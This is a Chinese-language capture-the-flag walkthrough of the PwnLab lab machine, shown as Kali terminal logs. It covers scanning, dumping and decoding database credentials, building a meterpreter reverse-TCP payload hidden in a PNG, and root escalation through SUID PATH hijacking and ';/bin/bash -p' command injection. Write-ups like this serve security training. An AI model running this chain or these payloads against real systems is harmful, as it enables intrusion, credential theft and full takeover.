root at kali in /pwnlab $ ip --color address 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host noprefixroute valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 00:0c:29:64:21:cc brd ff:ff:ff:ff:ff:ff inet 10.10.8.21/24 brd 10.10.8.255 scope global dynamic noprefixroute eth0 valid_lft 1732sec preferred_lft 1732sec inet6 fe80::24ad:8964:fd1d:7210/64 scope link noprefixroute valid_lft forever preferred_lft forever
地址探测
使用 Nmap 扫描出一个 IP:10.10.8.143
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
root at kali in /pwnlab $ nmap -sn --min-rate 10000 10.10.8.0/24 -oN nmap_ip.txt Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-27 16:26 CST Nmap scan report for 10.10.8.1 Host is up (0.00025s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 10.10.8.2 Host is up (0.000077s latency). MAC Address: 00:50:56:F2:17:CE (VMware) Nmap scan report for 10.10.8.18 Host is up (0.0072s latency). MAC Address: 00:0C:29:6D:8A:D0 (VMware) Nmap scan report for 10.10.8.254 Host is up (0.000046s latency). MAC Address: 00:50:56:E0:97:CA (VMware) Nmap scan report for 10.10.8.21 Host is up. Nmap done: 256 IP addresses (5 hosts up) scanned in 2.51 seconds
root at kali in /pwnlab $ nmap -p80,111,3306,39452 -sV -O -A -sC -T4 --min-rate 10000 10.10.8.18 -oN nmap_server.txt Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-27 16:29 CST Nmap scan report for 10.10.8.18 Host is up (0.00067s latency).
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.10 ((Debian)) |_http-server-header: Apache/2.4.10 (Debian) |_http-title: PwnLab Intranet Image Hosting 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100024 1 36670/udp6 status | 100024 1 39452/tcp status | 100024 1 51307/udp status |_ 100024 1 55096/tcp6 status 3306/tcp open mysql MySQL 5.5.47-0+deb8u1 39452/tcp open status 1 (RPC #100024) MAC Address: 00:0C:29:6D:8A:D0 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop
TRACEROUTE HOP RTT ADDRESS 1 0.67 ms 10.10.8.18
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.86 seconds
root at kali in /pwnlab $ nmap --script=vuln -T4 --min-rate 10000 10.10.8.18 -oN nmap_vuln.txt Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-27 16:30 CST Nmap scan report for 10.10.8.18 Host is up (0.00040s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.8.18 | Found the following possible CSRF vulnerabilities: | | Path: http://10.10.8.18:80/?page=login | Form id: user |_ Form action: |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. | http-internal-ip-disclosure: |_ Internal IP Leaked: 127.0.0.1 | http-cookie-flags: | /login.php: | PHPSESSID: |_ httponly flag not set |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) | http-enum: | /login.php: Possible admin folder | /images/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)' |_ /upload/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)' | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server's resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | http://ha.ckers.org/slowloris/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 111/tcp open rpcbind 3306/tcp open mysql MAC Address: 00:0C:29:6D:8A:D0 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 322.70 seconds
root at kali in /usr/share/wordlists/wfuzz/general $ wfuzz -u "http://10.10.8.18/?page=FUZZ" -w /usr/share/wordlists/wfuzz/general/common.txt -f wfuzz.txt
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://10.10.8.18/?page=FUZZ Total requests: 951
===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000001: 200 11 L 28 W 265 Ch "@" 000000048: 200 11 L 28 W 265 Ch "admon" 000000031: 200 11 L 28 W 265 Ch "action" 000000046: 200 11 L 28 W 265 Ch "admin_logon" 000000007: 200 11 L 28 W 265 Ch "10" ......
根据结果来看,基本都是 11 L 的,使用 grep 排除一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
root at kali in /usr/share/wordlists/wfuzz/general $ cat wfuzz.txt| grep -v "11 L" Target: http://10.10.8.18/?page=FUZZ Total requests: 951 ================================================================== ID Response Lines Word Chars Request ================================================================== 00489: C=200 16 L 48 W 515 Ch "login" 00862: C=200 9 L 30 W 257 Ch "upload"
root at kali in /usr/share/wordlists/wfuzz/general $ echo PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCnJlcXVpcmUoImNvbmZpZy5waHAiKTsNCiRteXNxbGkgPSBuZXcgbXlzcWxpKCRzZXJ2ZXIsICR1c2VybmFtZSwgJHBhc3N3b3JkLCAkZGF0YWJhc2UpOw0KDQppZiAoaXNzZXQoJ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Ym9keT4NCjxjZW50ZXI+DQo8aW1nIHNyYz0iaW1hZ2VzL3B3bmxhYi5wbmciPjxiciAvPg0KWyA8YSBocmVmPSIvIj5Ib21lPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9bG9naW4iPkxvZ2luPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9dXBsb2FkIj5VcGxvYWQ8L2E+IF0NCjxoci8+PGJyLz4NCjw/cGhwDQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCXsNCgkJaW5jbHVkZSgkX0dFVFsncGFnZSddLiIucGhwIik7DQoJfQ0KCWVsc2UNCgl7DQoJCWVjaG8gIlVzZSB0aGlzIHNlcnZlciB0byB1cGxvYWQgYW5kIHNoYXJlIGltYWdlIGZpbGVzIGluc2lkZSB0aGUgaW50cmFuZXQiOw0KCX0NCj8+DQo8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4= | base64 -d > index.php
root at kali in /usr/share/wordlists/wfuzz/general $ echo PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+ | base64 -d > config.php
# 开启 Kali 的 MySQL 服务 root at kali in /pwnlab $ systemctl start mysql # 远程连接,若是显示报错重启靶场即可 root at kali in /pwnlab $ mysql -uroot -pH4u%QJ_H99 -h10.10.8.18 Welcome to the MariaDB monitor. Commands end with ; or \g. Your MySQL connection id is 37 Server version: 5.5.47-0+deb8u1 (Debian)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | Users | +--------------------+ 2 rows in set (0.001 sec)
MySQL [(none)]> use Users; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
Database changed MySQL [Users]> show tables; +-----------------+ | Tables_in_Users | +-----------------+ | users | +-----------------+ 1 row in set (0.001 sec)
MySQL [Users]> select * from users; +------+------------------+ | user | pass | +------+------------------+ | kent | Sld6WHVCSkpOeQ== | | mike | U0lmZHNURW42SQ== | | kane | aVN2NVltMkdSbw== | +------+------------------+ 3 rows in set (0.001 sec)
发现了三个用户密码,解码一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
# kent root at kali in /pwnlab $ echo Sld6WHVCSkpOeQ== | base64 -d JWzXuBJJNy # mike root at kali in /pwnlab $ echo U0lmZHNURW42SQ== | base64 -d SIfdsTEn6I # kane root at kali in /pwnlab $ echo aVN2NVltMkdSbw== | base64 -d iSv5Ym2GRo
文件上传
AntSword
有了用户就尝试登录:
欧克,登上来了,根据之前的分析,需要上传个图片马,做一个:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
root at kali in /pwnlab $ wget http://10.10.8.18/images/pwnlab.png --2023-11-27 18:44:42-- http://10.10.8.18/images/pwnlab.png Connecting to 10.10.8.18:80... connected. HTTP request sent, awaiting response... 200 OK Length: 13027 (13K) [image/png] Saving to: ‘pwnlab.png’
pwnlab.png 100%[===================================================================>] 12.72K --.-KB/s in 0s
root at kali in /pwnlab $ msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.8.21 lport=6666 -o msf.php [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload No encoder specified, outputting raw payload Payload size: 1111 bytes Saved as: msf.php
制作图片马:
1 2 3 4 5 6
root at kali in /pwnlab $ cat msf.php >> pwnlab.png
www-data@pwnlab:/var/www/html$ su kent su kent Password: JWzXuBJJNy
kent@pwnlab:/var/www/html$ ls -al /home/kent ls -al /home/kent total 20 drwxr-x--- 2 kent kent 4096 Mar 17 2016 . drwxr-xr-x 6 root root 4096 Mar 17 2016 .. -rw-r--r-- 1 kent kent 220 Mar 17 2016 .bash_logout -rw-r--r-- 1 kent kent 3515 Mar 17 2016 .bashrc -rw-r--r-- 1 kent kent 675 Mar 17 2016 .profile
kent 用户没啥有用的,换一个:
1 2 3 4
kent@pwnlab:/var/www/html$ su mike su mike Password: SIfdsTEn6I su: Authentication failure
mike 用户登不上,再换一个:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
kent@pwnlab:/var/www/html$ su kane su kane Password: iSv5Ym2GRo
kane@pwnlab:/var/www/html$ id id uid=1003(kane) gid=1003(kane) groups=1003(kane) kane@pwnlab:/var/www/html$ ls -al /home/kane ls -al /home/kane total 28 drwxr-x--- 2 kane kane 4096 Mar 17 2016 . drwxr-xr-x 6 root root 4096 Mar 17 2016 .. -rw-r--r-- 1 kane kane 220 Mar 17 2016 .bash_logout -rw-r--r-- 1 kane kane 3515 Mar 17 2016 .bashrc -rwsr-sr-x 1 mike mike 5148 Mar 17 2016 msgmike -rw-r--r-- 1 kane kane 675 Mar 17 2016 .profile
SUID 提权(1)
在 kane 用户下发现了一个具有 SUID、SGID 权限的可执行文件,但权限是 mike。
执行看看结果:
1 2 3
kane@pwnlab:/var/www/html$ /home/kane/msgmike /home/kane/msgmike cat: /home/mike/msg.txt: No such file or directory
kane@pwnlab:/var/www/html$ type cat type cat cat is /bin/cat kane@pwnlab:/var/www/html$ echo $PATH echo $PATH /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
kane@pwnlab:/var/www/html$ cd ~ cd ~ kane@pwnlab:~$ echo '/bin/bash' > cat echo '/bin/bash' > cat kane@pwnlab:~$ cat cat cat cat /bin/bash kane@pwnlab:~$ PATH=/home/kane:$PATH PATH=/home/kane:$PATH kane@pwnlab:~$ echo $PATH echo $PATH /home/kane:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games kane@pwnlab:~$ chmod 777 cat chmod 777 cat kane@pwnlab:~$ ls -al ls -al total 32 drwxr-x--- 2 kane kane 4096 Nov 27 06:50 . drwxr-xr-x 6 root root 4096 Mar 17 2016 .. -rw-r--r-- 1 kane kane 220 Mar 17 2016 .bash_logout -rw-r--r-- 1 kane kane 3515 Mar 17 2016 .bashrc -rwxrwxrwx 1 kane kane 10 Nov 27 06:50 cat -rwsr-sr-x 1 mike mike 5148 Mar 17 2016 msgmike -rw-r--r-- 1 kane kane 675 Mar 17 2016 .profile
执行一下:
1 2 3 4 5
kane@pwnlab:~$ ./msgmike ./msgmike mike@pwnlab:~$ id id uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)
切换成功。
SUID 提权(2)
查看下 mike 用户的家目录:
1 2 3 4 5 6 7 8 9 10 11
mike@pwnlab:~$ cd /home/mike cd /home/mike mike@pwnlab:/home/mike$ ls -al ls -al total 28 drwxr-x--- 2 mike mike 4096 Mar 17 2016 . drwxr-xr-x 6 root root 4096 Mar 17 2016 .. -rw-r--r-- 1 mike mike 220 Mar 17 2016 .bash_logout -rw-r--r-- 1 mike mike 3515 Mar 17 2016 .bashrc -rwsr-sr-x 1 root root 5364 Mar 17 2016 msg2root -rw-r--r-- 1 mike mike 675 Mar 17 2016 .profile
嗯哼,又一个具有 SUID、SGID 权限的可执行文件,并且权限是 root。
执行一下:
1 2 3 4 5 6
mike@pwnlab:/home/mike$ ./msg2root ./msg2root Message for root: xixihaha xixihaha xixihaha mike@pwnlab:/home/mike$
看着是一个留言功能文件,猜测源码应该差不多是这样的:
1 2 3 4
#!/bin/bash
read -p 'Message for root:' result echo $result
使用 ; 进行命令拼接试试:
1 2 3 4 5 6 7 8
mike@pwnlab:/home/mike$ ./msg2root ./msg2root Message for root: xixi;/bin/bash -p xixi;/bin/bash -p xixi bash-4.3# id id uid=1002(mike) gid=1002(mike) euid=0(root) egid=0(root) groups=0(root),1003(kane)